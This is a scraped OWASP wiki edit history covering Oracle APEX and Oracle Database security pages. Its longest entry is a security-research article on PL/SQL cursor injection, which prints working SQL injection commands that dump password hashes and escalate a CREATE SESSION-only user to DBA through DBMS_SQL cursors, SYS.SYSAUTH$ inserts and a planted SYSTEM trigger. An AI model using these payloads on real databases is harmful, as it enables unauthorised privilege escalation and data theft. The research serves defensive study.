When you press Create and branch back to the Report the JavaScript is run<br />
<br />
<br />
==Solution==<br />
Escape output, make the character as literal's<br />
<br />
In PL/SQL use this function: HTF.escape_sc<br />
Read about safe items in the User’s Guide</div>Mjk303https://wiki.owasp.org/index.php?title=ApEx:Architecture&diff=46717ApEx:Architecture2008-11-21T20:29:06Z<p>Mjk303: </p>
<hr />
<div>Hardening the Apache HTTP Web Server<br />
<br />
Remove pre-loaded modules<br />
<br />
Remove pre-installed content<br />
<br />
Don’t publicize names/versions of your running software<br />
<br />
ServerSignature Off (Removes server information from error pages)<br />
<br />
ServerTokens Prod (Removes server version from the HTTP header)<br />
<br />
<br />
<br />
<br />
Comprehensive Checklists<br />
<br />
“Securing Oracle Application Server”� by Caleb Sima<br />
<br />
“Hardening Oracle Application Server 9i and 10g”� by Alexander Kornbrust</div>Mjk303https://wiki.owasp.org/index.php?title=ApEx:Architecture&diff=46716ApEx:Architecture2008-11-21T20:28:13Z<p>Mjk303: New page: Hardening the Apache HTTP Web Server Remove pre-loaded modules Remove pre-installed content Don’t publicize names/versions of your running software Comprehensive Checklists “Securi...</p>
<hr />
<div>Hardening the Apache HTTP Web Server<br />
Remove pre-loaded modules<br />
Remove pre-installed content<br />
Don’t publicize names/versions of your running software<br />
<br />
<br />
<br />
<br />
Comprehensive Checklists<br />
“Securing Oracle Application Server”� by Caleb Sima<br />
“Hardening Oracle Application Server 9i and 10g”� by Alexander Kornbrust</div>Mjk303https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&diff=46715Application Express (ApEx)2008-11-21T20:27:46Z<p>Mjk303: </p>
<hr />
<div>Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, you can develop and deploy professional applications that are both fast and secure. Oracle application express combines the qualities of a personal database, productivity, ease of use, and flexibility with the qualities of an enterprise database, security, integrity, scalability, availability and built for the web. Application Express is a tool to build web-based applications and the application development environment is also conveniently web-based.<br />
<br />
''A more generic description is needed, this is a copy from the Oracle ApEx Site''<br />
<br />
* [[ApEx:XSS]]<br />
* [[ApEx:SQL injection]]<br />
* [[ApEx:URL Tampering]]<br />
* [[ApEx:Session State Protection]]<br />
* [[ApEx:Authentication]]<br />
* [[ApEx:Authorization Schemes]]<br />
* [[ApEx:Defence in depth]]<br />
* [[ApEx:Interactive reports]]<br />
* [[ApEx:Builder access]]<br />
* [[ApEx:Google dorks]]<br />
* [[ApEx:Architecture]]<br />
<br />
== References ==<br />
* [1] [http://www.oracle.com/technology/products/database/application_express/html/what_is_apex.html Official Oracle ApEx website]<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]</div>Mjk303https://wiki.owasp.org/index.php?title=ApEx:Google_dorks&diff=46714ApEx:Google dorks2008-11-21T20:20:40Z<p>Mjk303: New page: http://www.dba-oracle.com/htmldb/t_html_db_hacking_google_vulnerabilities.htm</p>
<hr />
<div>http://www.dba-oracle.com/htmldb/t_html_db_hacking_google_vulnerabilities.htm</div>Mjk303https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&diff=46713Application Express (ApEx)2008-11-21T20:20:17Z<p>Mjk303: </p>
<hr />
<div>Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, you can develop and deploy professional applications that are both fast and secure. Oracle application express combines the qualities of a personal database, productivity, ease of use, and flexibility with the qualities of an enterprise database, security, integrity, scalability, availability and built for the web. Application Express is a tool to build web-based applications and the application development environment is also conveniently web-based.<br />
<br />
''A more generic description is needed, this is a copy from the Oracle ApEx Site''<br />
<br />
* [[ApEx:XSS]]<br />
* [[ApEx:SQL injection]]<br />
* [[ApEx:URL Tampering]]<br />
* [[ApEx:Session State Protection]]<br />
* [[ApEx:Authentication]]<br />
* [[ApEx:Authorization Schemes]]<br />
* [[ApEx:Defence in depth]]<br />
* [[ApEx:Interactive reports]]<br />
* [[ApEx:Builder access]]<br />
* [[ApEx:Google dorks]]<br />
<br />
== References ==<br />
* [1] [http://www.oracle.com/technology/products/database/application_express/html/what_is_apex.html Official Oracle ApEx website]<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]</div>Mjk303https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&diff=46712Application Express (ApEx)2008-11-21T20:17:50Z<p>Mjk303: </p>
<hr />
<div>Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, you can develop and deploy professional applications that are both fast and secure. Oracle application express combines the qualities of a personal database, productivity, ease of use, and flexibility with the qualities of an enterprise database, security, integrity, scalability, availability and built for the web. Application Express is a tool to build web-based applications and the application development environment is also conveniently web-based.<br />
<br />
''A more generic description is needed, this is a copy from the Oracle ApEx Site''<br />
<br />
[[ApEx:XSS]]<br />
[[ApEx:SQL injection]]<br />
[[ApEx:URL Tampering]]<br />
[[ApEx:Session State Protection]]<br />
[[ApEx:Authentication]]<br />
[[ApEx:Authorization Schemes]]<br />
[[ApEx:Defence in depth]]<br />
[[ApEx:Interactive reports]]<br />
[[ApEx:Builder access]]<br />
<br />
<br />
<br />
== References ==<br />
* [1] [http://www.oracle.com/technology/products/database/application_express/html/what_is_apex.html Official Oracle ApEx website]<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]</div>Mjk303https://wiki.owasp.org/index.php?title=Oracle_Database:Default_accounts&diff=46419Oracle Database:Default accounts2008-11-14T16:27:46Z<p>Mjk303: </p>
<hr />
<div>==Status==<br />
WIP 14/11/2008<br />
<br />
==Overview==<br />
Oracle default accounts can be created for many different reasons. They are created by Oracle itself when the database is created. For instance the accounts SYS and SYSTEM, DBSNMP and OUTLN are often created by default when a database is created. If the database is created by using the wizard the problem can be much bigger with 10s 0r 20s of accounts being created simply as part of the database creation. Further default accounts can be created after the initial database creation by running scripts that live in the $ORACLE_HOME/rdbms/admin or other directories. These scripts can be run to add an additional feature or function or to add example code to the database (You never do this is production do you?). Further Oracle default users can be created when third party software is installed for use such as BAAN or SAP. The same issues of default users being added to the database can occur when third party development or maintenance tools are added such as TOAD or PL/SQL Developer. Problems can also occur when employees run examples from books, or documentation (official and non-official), books or web sites. <br />
<br />
<br />
==Resources==<br />
* [1] [http://www.petefinnigan.com/default/oracle_default_passwords.xls Pete Finnigan's default password MS Excel sheet]<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:Oracle Database]]</div>Mjk303https://wiki.owasp.org/index.php?title=Oracle_Database:Default_accounts&diff=46418Oracle Database:Default accounts2008-11-14T16:27:10Z<p>Mjk303: New page: ==Status== WIP 14/11/2008 ==Overview== Oracle default accounts can be created for many different reasons. They are created by Oracle itself when the database is created. For instance the ...</p>
<hr />
<div>==Status==<br />
WIP 14/11/2008<br />
<br />
==Overview==<br />
Oracle default accounts can be created for many different reasons. They are created by Oracle itself when the database is created. For instance the accounts SYS and SYSTEM, DBSNMP and OUTLN are often created by default when a database is created. If the database is created by using the wizard the problem can be much bigger with 10s 0r 20s of accounts being created simply as part of the database creation. Further default accounts can be created after the initial database creation by running scripts that live in the $ORACLE_HOME/rdbms/admin or other directories. These scripts can be run to add an additional feature or function or to add example code to the database (You never do this is production do you?). Further Oracle default users can be created when third party software is installed for use such as BAAN or SAP. The same issues of default users being added to the database can occur when third party development or maintenance tools are added such as TOAD or PL/SQL Developer. Problems can also occur when employees run examples from books, or documentation (official and non-official), books or web sites. <br />
<br />
<br />
==Resources==<br />
* [1] [http://www.petefinnigan.com/default/oracle_default_passwords.xls Pete Finnigan's default password MS Excel sheet]</div>Mjk303https://wiki.owasp.org/index.php?title=Oracle_Database&diff=46417Oracle Database2008-11-14T16:16:12Z<p>Mjk303: </p>
<hr />
<div>Oracle Database (commonly referred to as Oracle RDBMS or simply Oracle) is a relational database management system (RDBMS) produced and marketed by Oracle Corporation. As of 2008, Oracle had become a major presence in database computing.<br />
<br />
Larry Ellison and his friends and former co-workers Bob Miner and Ed Oates started the consultancy Software Development Laboratories (SDL) in 1977. SDL developed the original version of the Oracle software. The name Oracle comes from the code-name of a CIA-funded project Ellison had worked on while previously employed by Ampex.<br />
<br />
* [[Oracle Database:Default accounts]]<br />
* [[Oracle Database:Encryption]]<br />
* [[Oracle Database:File system]]<br />
* [[Oracle Database:TNS Listner]]<br />
* [[Oracle Database:Critcal Patch Update]]<br />
* [[Oracle Database:Passwords]]<br />
* [[Oracle Database:Auditing]]<br />
* [[Oracle Database:Monitoring]]<br />
* [[Oracle Database:Forensics]]<br />
<br />
==Resources==<br />
* [1] [http://www.oracle.com the Oracle website]<br />
* [2] [http://en.wikipedia.org/wiki/Oracle_Database Wiki entry for Oracle]<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:Oracle Database]]</div>Mjk303https://wiki.owasp.org/index.php?title=Oracle_Database&diff=46416Oracle Database2008-11-14T16:15:51Z<p>Mjk303: </p>
<hr />
<div>Oracle Database (commonly referred to as Oracle RDBMS or simply Oracle) is a relational database management system (RDBMS) produced and marketed by Oracle Corporation. As of 2008, Oracle had become a major presence in database computing.<br />
<br />
Larry Ellison and his friends and former co-workers Bob Miner and Ed Oates started the consultancy Software Development Laboratories (SDL) in 1977. SDL developed the original version of the Oracle software. The name Oracle comes from the code-name of a CIA-funded project Ellison had worked on while previously employed by Ampex.<br />
<br />
* [[Oracle Database:Default accounts]]<br />
* [[Oracle Database:Encryption]]<br />
* [[Oracle Database:File system]]<br />
* [[Oracle Database:TNS Listner]]<br />
* [[Oracle Database:Critcal Patch Update]]<br />
* [[Oracle Database:Passwords]]<br />
* [[Oracle Database:Auditing]]<br />
* [[Oracle Database:Monitoring]]<br />
* [[Oracle Database:Forensics]]<br />
<br />
==Resources==<br />
* [1] [www.oracle.com the Oracle website]<br />
* [2] [http://en.wikipedia.org/wiki/Oracle_Database Wiki entry for Oracle]<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:Oracle Database]]</div>Mjk303https://wiki.owasp.org/index.php?title=Oracle_Database&diff=46415Oracle Database2008-11-14T16:14:56Z<p>Mjk303: </p>
<hr />
<div>Oracle Database (commonly referred to as Oracle RDBMS or simply Oracle) is a relational database management system (RDBMS) produced and marketed by Oracle Corporation. As of 2008, Oracle had become a major presence in database computing.<br />
<br />
Larry Ellison and his friends and former co-workers Bob Miner and Ed Oates started the consultancy Software Development Laboratories (SDL) in 1977. SDL developed the original version of the Oracle software. The name Oracle comes from the code-name of a CIA-funded project Ellison had worked on while previously employed by Ampex.<br />
<br />
[[Oracle Database:Default accounts]]<br />
[[Oracle Database:Encryption]]<br />
[[Oracle Database:File system]]<br />
[[Oracle Database:TNS Listner]]<br />
[[Oracle Database:Critcal Patch Update]]<br />
[[Oracle Database:Passwords]]<br />
[[Oracle Database:Auditing]]<br />
[[Oracle Database:Monitoring]]<br />
[[Oracle Database:Forensics]]<br />
<br />
==Resources==<br />
* [1] [www.oracle.com the Oracle website]<br />
* [2] [http://en.wikipedia.org/wiki/Oracle_Database Wiki entry for Oracle]<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:Oracle Database]]</div>Mjk303https://wiki.owasp.org/index.php?title=Oracle_Database&diff=46414Oracle Database2008-11-14T16:13:23Z<p>Mjk303: New page: Oracle Database (commonly referred to as Oracle RDBMS or simply Oracle) is a relational database management system (RDBMS) produced and marketed by Oracle Corporation. As of 2008, Oracle h...</p>
<hr />
<div>Oracle Database (commonly referred to as Oracle RDBMS or simply Oracle) is a relational database management system (RDBMS) produced and marketed by Oracle Corporation. As of 2008, Oracle had become a major presence in database computing.<br />
<br />
Larry Ellison and his friends and former co-workers Bob Miner and Ed Oates started the consultancy Software Development Laboratories (SDL) in 1977. SDL developed the original version of the Oracle software. The name Oracle comes from the code-name of a CIA-funded project Ellison had worked on while previously employed by Ampex.<br />
<br />
<br />
[Oracle Database:Default accounts]<br />
[Oracle Database:Encryption]<br />
[Oracle Database:File system]<br />
[Oracle Database:TNS Listner]<br />
[Oracle Database:Critcal Patch Update]<br />
[Oracle Database:Passwords]<br />
[Oracle Database:Auditing]<br />
[Oracle Database:Monitoring]<br />
[Oracle Database:Forensics]<br />
<br />
==Resources==<br />
* [1] [www.oracle.com Oracle's website]<br />
* [2] [http://en.wikipedia.org/wiki/Oracle_Database Wiki entry for Oracle]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&diff=46413PL/SQL:Cursor Injection2008-11-14T15:56:17Z<p>Mjk303: </p>
<hr />
<div>==Status==<br />
WIP 14/11/2008, the material is provided by David Litchfield, this needs to be rewritten to the OWASP standard (introduction, vunerabilty, attack and countermeasure)<br />
Also the markup for the code examples is wrong.<br />
<br />
==Introduction==<br />
<br />
On occasion Oracle in their alerts state that the ability to create a procedure or a function is required for an attacker to be able to exploit a flaw. For example, DB02 in the October 2006 Critical Patch Update was for a vulnerability in the SDO_DROP_USER_BEFORE trigger. In the Risk Matrix section of the alert it states that an attacker must have the CREATE PROCEDURE privilege to exploit the flaw. As we will see this is not the case. This paper describes a new method whereby an attacker, seeking to exploit a SQL injection flaw in an Oracle database server, may do so without the need to create an auxiliary inject function in order to execute arbitrary SQL. This is achieved by injecting a pre-compiled cursor into vulnerable PL/SQL objects. The driving force behind this research is to show that all SQL injection flaws can be fully exploited without any system privilege other than CREATE SESSION and accordingly the risk should never be "marked down". <br />
<br />
<br />
The problem for the attacker... <br />
<br />
Consider the following PL/SQL procedure: <br />
<br />
CONNECT / AS SYSDBA <br />
CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS <br />
TYPE C_TYPE IS REF CURSOR; <br />
CV C_TYPE; <br />
BUFFER VARCHAR2(200); <br />
BEGIN <br />
DBMS_OUTPUT.ENABLE(1000000); <br />
OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS <br />
WHERE OBJECT_NAME = ''' || P_OBJNM ||''''; <br />
LOOP <br />
FETCH CV INTO BUFFER; <br />
DBMS_OUTPUT.PUT_LINE(BUFFER); <br />
EXIT WHEN CV%NOTFOUND; <br />
END LOOP; <br />
CLOSE CV; <br />
END; <br />
/ <br />
GRANT EXECUTE ON GET_OWNER TO PUBLIC; <br />
<br />
It is vulnerable to SQL injection. The P_OBJNM parameter is embedded within a SELECT query which is then executed. Due to the fact that Oracle won't batch queries, <br />
for example like Microsoft SQL Server, the attacker is limited in terms of what they could do when it comes to exploiting the flaw. One thing the attacker could do is perform a UNION SELECT to gain access to arbitrary data: <br />
<br />
SQL> CONNECT SCOTT/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON <br />
SQL> EXEC SYS.GET_OWNER('AAAA'' UNION SELECT PASSWORD FROM SYS.DBA_USERS <br />
-- '); <br />
16B58553D83807DF 1718E5DBB8F89784 <br />
24ABAB8B06281B4C <br />
... <br />
... <br />
<br />
What if they wanted to do more than just this, though, and perform a DDL or DML operation? In Oracle, the attacker could not simply inject a "GRANT DBA TO PUBLIC" <br />
or an "INSERT something into some table" statement after the application defined SELECT statement. In order to achieve this, they'd need to wrap their arbitrary SQL in a function and inject this: <br />
<br />
SQL> CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID <br />
CURRENT_USER IS <br />
2 PRAGMA AUTONOMOUS_TRANSACTION; <br />
3 BEGIN <br />
4 EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; <br />
5 RETURN 'GOT_DBA_PRIVS'; <br />
6 END; <br />
7 / <br />
<br />
Function created. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||SCOTT.GET_DBA--'); <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
Here, SCOTT has created a function called GET_DBA and this is then injected into the application defined SELECT query using the concatenation operator - the double pipe. As part of executing the SELECT query the database server also executes the GET_DBA function with SYS privileges and the GRANT succeeds. This GET_DBA function is an auxiliary inject function and it performs the real work of the exploit. If an attacker can't create their own functions then they must find a function that already exists on the system - a function that allows them to execute arbitrary SQL. Prior to April 2006, when the flaw was patched, the GET_DOMAIN_INDEX_TABLES function on the SYS owned DBMS_EXPORT_EXTENSION package could be used: <br />
<br />
SQL> <br />
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTP<br />
UT".PUT(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; <br />
BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO PUBLIC''''; END;''; END;--<br />
','SYS',0,'1',0) <br />
<br />
This package was vulnerable to SQL injection and attacker supplied arguments were embedded into a block of anonymous PL/SQL. As PUBLIC could directly execute this package they could execute arbitrary SQL using this function alone - there was no need to inject it into another vulnerable package. As already stated, this has since been fixed. <br />
<br />
There are two other functions that can be used as auxiliary inject functions, however, they can only be used as such due to a flaw. One is vulnerable to a[PL/SQL:Cursor_Snarfing cursor snarfing issue] that can be exploited to run arbitrary SQL as SYS and the other is vulnerable to a SQL injection flaw into an anonymous PL/SQL block, again allowing an attacker to execute arbitrary SQL as SYS. Both are currently being fixed by Oracle and until the patch is out they will remain "nameless". <br />
<br />
Each of the three known extant functions that can be used as auxiliaries contain a vulnerability of some sort and will all be patched at some stage making their "usefulness" time limited. There is what could be argued as a fourth function that can be abused by an attacker to execute arbitrary SQL and it doesn't rely on a vulnerability. I say "could be argued" because it's not as straight forward as simply injecting the function - it needs to be primed first. What follows is a description of the new method: it is simple multi-stage attack (so simple in fact I should have thought of it years ago!) and it works on all versions of Oracle and can be exploited by an attacker to run any SQL - provided of course there is a vector - i.e. a PL/SQL package, procedure, function, trigger or type which is vulnerable to SQL injection. <br />
<br />
<br />
==The DBMS_SQL package== <br />
<br />
The DBMS_SQL package contains a number of procedures and functions that can be <br />
used to execute dynamic SQL queries: <br />
<br />
SQL> CONNECT SCOTT/PASSWORD <br />
Connected. <br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'SELECT 1 FROM DUAL',0); <br />
7 RESULT := DBMS_SQL.EXECUTE(MY_CURSOR); <br />
8 DBMS_SQL.CLOSE_CURSOR(MY_CURSOR); <br />
9 END; <br />
10 / <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
Here, we create a cursor called "MY_CURSOR" using the DBMS_SQL.OPEN_CURSOR function. We then tie this cursor to a query, in this case "SELECT 1 FROM DUAL", by using the DBMS_SQL.PARSE procedure. By doing this, the cursor becomes like a handle to this query which is then executed using the DBMS_SQL.EXECUTE function. Lastly the cursor is closed. All an attacker need do to execute arbitrary SQL in open a cursor and parse the SQL and then inject the DBMS_SQL.EXECUTE function into the vulnerable PL/SQL object: <br />
<br />
SQL> CONNECT SCOTT/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; begin execute immediate ''grant dba to public''; commit; end;',0); <br />
7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :4 <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
Firstly, we open the cursor and then parse our query - one that'll grant DBA privileges to <br />
PUBLIC. We then print the value of the cursor to the screen - 4 in this case. We then pass <br />
4 as the argument to the DBMS_SQL.EXECUTE function when we inject it into the <br />
vulnerable procedure. The DBMS_SQL.EXECUTE function returns a number so we use <br />
the CHR function to convert the number to a character - which can then be concatenated. <br />
When the application defined SELECT query executes so too does the <br />
DBMS_SQL.EXECUTE function - and so the attacker's SQL is executed with SYS <br />
privileges - in this case granting DBA privileges to PUBLIC. <br />
<br />
==Only Half-primed...== <br />
<br />
Assume, rather than execute 'GRANT DBA TO PUBLIC', which might alert an intrusion <br />
detection/prevention system, the attacker wishes to perform an INSERT to achieve the <br />
same end, in other words, INSERT the relevant rows into the SYS.SYSAUTH$ table to <br />
make PUBLIC a DBA. At this stage, this new attack technique can not be used to do this. <br />
An error is returned from DBMS_SQL: table or view does not exist: <br />
<br />
SQL> SET SERVEROUTPUT ON <br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; begin execute immediate ''INSERT INTO SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES(1,4,(SELECT MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''; commit; end;',0); <br />
7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :4 <br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); <br />
BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END; <br />
<br />
* <br />
ERROR at line 1: <br />
ORA-00942: table or view does not exist <br />
ORA-06512: at line 1 <br />
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1200 <br />
ORA-06512: at "SYS.DBMS_SQL", line 323 <br />
ORA-06512: at "SYS.GET_OWNER", line 7 <br />
ORA-06512: at line 1 <br />
<br />
The query here attempts to INSERT into the SYS.SYSAUTH$ table to make PUBLIC a <br />
DBA - but as can be seen - an error is generated. Whilst we can't use this to do an <br />
INSERT we've already seen we can grant DBA privileges and another action an attacker <br />
can take using this method is to create a function - even though they don't have the <br />
permissions to do so directly. Let's create a user with only the CREATE SESSION <br />
privilege and no more: <br />
<br />
SQL> CONNECT / AS SYSDBA <br />
Connected. <br />
SQL> CREATE USER CSESS IDENTIFIED BY PASSWORD; <br />
<br />
User created. <br />
<br />
SQL> GRANT CREATE SESSION TO CSESS; <br />
<br />
Grant succeeded. <br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SELECT PRIVILEGE FROM SESSION_PRIVS; <br />
<br />
PRIVILEGE <br />
---------------------------------------- <br />
CREATE SESSION <br />
<br />
SQL> <br />
<br />
Now with our test user, CSESS, in place let's go ahead, connect as them and create a <br />
function even though we only have the CREATE SESSION privilege: <br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON <br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; begin execute immediate ''create or replace function csess_func (p varchar2) return number authid current_user is begin execute immediate p; return 1; end;''; commit; end;',0); <br />
7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :4 <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
Here we attempt to create a function call CSESS_FUNC. Now see if the function was <br />
actually created: <br />
<br />
SQL> SELECT CSESS_FUNC('SELECT 1 FROM DUAL') FROM DUAL; <br />
<br />
CSESS_FUNC('SELECT1FROMDUAL') <br />
----------------------------- <br />
1 <br />
<br />
SQL> <br />
<br />
All looks good. Now we can use this function to do whatever we want: <br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET ROLE DBA; <br />
SET ROLE DBA <br />
* <br />
ERROR at line 1: <br />
ORA-01924: role 'DBA' not granted or does not exist <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma autonomous_transaction; begin execute immediate ''''INSERT INTO SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
Note that, on some systems, such as 10g Release 2 a "unique constraint" error might be <br />
generated but the INSERT does succeed: <br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET ROLE DBA; <br />
SET ROLE DBA <br />
* <br />
ERROR at line 1: <br />
ORA-01924: role 'DBA' not granted or does not exist <br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma autonomous_transaction; begin execute immediate ''''INSERT INTO SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); BEGIN SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma autonomous_transaction; begin execute immediate ''''INSERT INTO SYS.SYSAUTH$ (GRANTEE#,PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT <br />
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); END; <br />
<br />
* <br />
ERROR at line 1: <br />
ORA-00001: unique constraint (SYS.I_SYSAUTH1) violated <br />
ORA-06512: at line 1 <br />
ORA-06512: at "CSESS.CSESS_FUNC", line 1 <br />
ORA-06512: at "SYS.GET_OWNER", line 7 <br />
ORA-06512: at line 1 <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
So, by injecting DBMS_SQL.EXECUTE as an auxiliary function with "limited" scope, an attacker can create their own auxiliary inject function to then do whatever they want. <br />
<br />
<br />
==Exploiting the SDO_DROP_USER_BEFORE trigger==<br />
<br />
In the introduction I mentioned the SDO_DROP_USER_BEFORE trigger. In 10g Release 2 and before October 2006, when the flaw was patched, this trigger owned by <br />
MDSYS was vulnerable to SQL injection. At the time it was believed that this was only exploitable if the attacker had the CREATE PROCEDURE (and therefore FUNCTION) <br />
privilege [see DB02 entry in http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2006.html#AppendixA] <br />
<br />
The problem lay in the fact that the name of the user being dropped was embedded withina block of anonymous PL/SQL: <br />
<br />
... <br />
... <br />
EXECUTE IMMEDIATE <br />
'begin ' || <br />
'mdsys.rdf_apis_internal.' || <br />
'notify_drop_user(''' || dictionary_obj_name || '''); ' || <br />
'end;'; <br />
... <br />
... <br />
<br />
This is the vulnerable code from the trigger. Here, "dictionary_obj_name" is the name of the user being dropped and, as this "user" could be arbitrary, it was possible for an attacker to inject 30 bytes of arbitrary SQL. In terms of exploiting this to gain DBA privileges an attacker needs to jump through some hoops but it can be done. MDSYS is not a DBA so the attacker must rely on an indirect privilege upgrade attack and, indeed, an attack is possible via MDSYS having the CREATE ANY TRIGGER system privilege.<br />
<br />
By leveraging this privilege during a SQL injection attack, the attacker can create an auxiliary trigger in the SYSTEM schema. This auxiliary trigger will carry out the work of gaining the attacker DBA privileges. Firstly, the attacker needs the name of a table into which PUBLIC can insert - there are a few - SYSTEM.OL$ will be the choice. A "BEFORE INSERT" trigger will be created on this table; this trigger will execute the GRANT DBA TO PUBLIC when an INSERT is performed. Let's step through attack from start to finish. CSESS has only the CREATE SESSION privilege and cannot set the DBA role: <br />
<br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON <br />
SQL> SELECT PRIVILEGE FROM SESSION_PRIVS; <br />
<br />
PRIVILEGE <br />
---------------------------------------- <br />
CREATE SESSION <br />
<br />
SQL> SET ROLE DBA; <br />
SET ROLE DBA <br />
* <br />
ERROR at line 1: <br />
ORA-01924: role 'DBA' not granted or does not exist <br />
<br />
Once logged in CSESS then creates a cursor and primes it with a query that will create the trigger on the SYSTEM.OL$ table - we also use DBMS_OUTPUT to show us that <br />
our SQL is executing as expected: <br />
<br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; <br />
begin DBMS_OUTPUT.PUT_LINE(''EXECUTING FROM SDO_DROP_USER_BEFORE!!!''); <br />
execute immediate ''create or replace trigger system.WHOPPEE before <br />
insert on system.OL$ DECLARE msg VARCHAR2(30); BEGIN null; <br />
dbms_output.put_line(''''In the trigger''''); EXECUTE IMMEDIATE <br />
''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE <br />
''''''''GRANT DBA TO PUBLIC''''''''; END; ''''; end WHOPPEE;''; commit; <br />
end;',0); <br />
7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :3 <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
With this done we can see the value of the cursor is 3. We'll pass this as the argument to <br />
